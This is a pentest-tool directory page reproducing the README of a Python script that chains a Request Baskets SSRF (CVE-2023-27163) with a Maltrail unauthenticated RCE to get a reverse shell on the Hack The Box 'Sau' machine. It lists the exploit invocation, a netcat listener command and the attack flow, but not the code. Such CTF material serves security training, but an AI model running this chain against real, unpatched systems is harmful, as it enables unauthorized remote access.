Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
htb-sau-exploit-chain — Automated exploit chain for HTB Sau — CVE-2023-27163 (SSRF) + Maltrail Unauthenticated RCE → Reverse Shell | Kitploit
Tools/GitHubGitHub/tombstoneghost/htb-sau-exploit-chain
Payload GenerationExploitationWeb Application ExploitationCTFPenetration TestingLearning & Education
GitHubtombstoneghost/htb-sau-exploit-chain

htb-sau-exploit-chain

Automated exploit chain for HTB Sau — CVE-2023-27163 (SSRF) + Maltrail Unauthenticated RCE → Reverse Shell

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
4 months agoNot yet reviewed

HTB Sau Exploit Chain — CVE-2023-27163 (SSRF) + Maltrail RCE Automation

A Python exploit script that chains CVE-2023-27163 (Server-Side Request Forgery in Request Baskets ≤ 1.2.1) with an unauthenticated Remote Code Execution vulnerability in Maltrail 0.53, delivering a reverse shell. Designed for the Hack The Box Sau machine.


📌 Overview

This script automates the exploitation path required to gain initial access on the target by:

  1. Exploiting CVE-2023-27163 to obtain a usable bucket endpoint
  2. Leveraging the exposed service to interact with Maltrail
  3. Triggering an unauthenticated RCE in Maltrail
  4. Delivering a reverse shell to the attacker machine

⚙️ Usage

root@kitploit:~
python3 exploit.py <TARGET_URL> <LISTENER_IP> <LISTENER_PORT>

Example:

root@kitploit:~
python3 exploit.py http://10.10.11.224 10.10.14.6 4444

🎧 Netcat Listener (Important)

Before running the exploit, start a listener on your machine to catch the reverse shell:

root@kitploit:~
nc -lvnp <LISTENER_PORT>

Example:

root@kitploit:~
nc -lvnp 4444

🧩 Parameters

ParameterDescription
TARGET_URLBase URL of the target (e.g., http://IP)
LISTENER_IPYour attacking machine IP
LISTENER_PORTPort for receiving the reverse shell

🚀 Exploit Flow

  • Normalize target URL
  • Trigger CVE-2023-27163 to create/access a request basket
  • Extract the accessible endpoint (bucket_url)
  • Use the bucket to interact with Maltrail
  • Execute payload to spawn reverse shell

⚠️ Notes

  • Ensure your listener is running before executing the script
  • Remove trailing / from the target URL (handled automatically in script)
  • Designed specifically for the HTB Sau machine — may not generalize

📚 References

  • CVE-2023-27163 (Request Baskets)
  • Maltrail Unauthenticated RCE

🛑 Disclaimer

This project is intended for educational purposes and use in authorized environments such as Hack The Box. Do not use against systems without proper permission.

Download Tool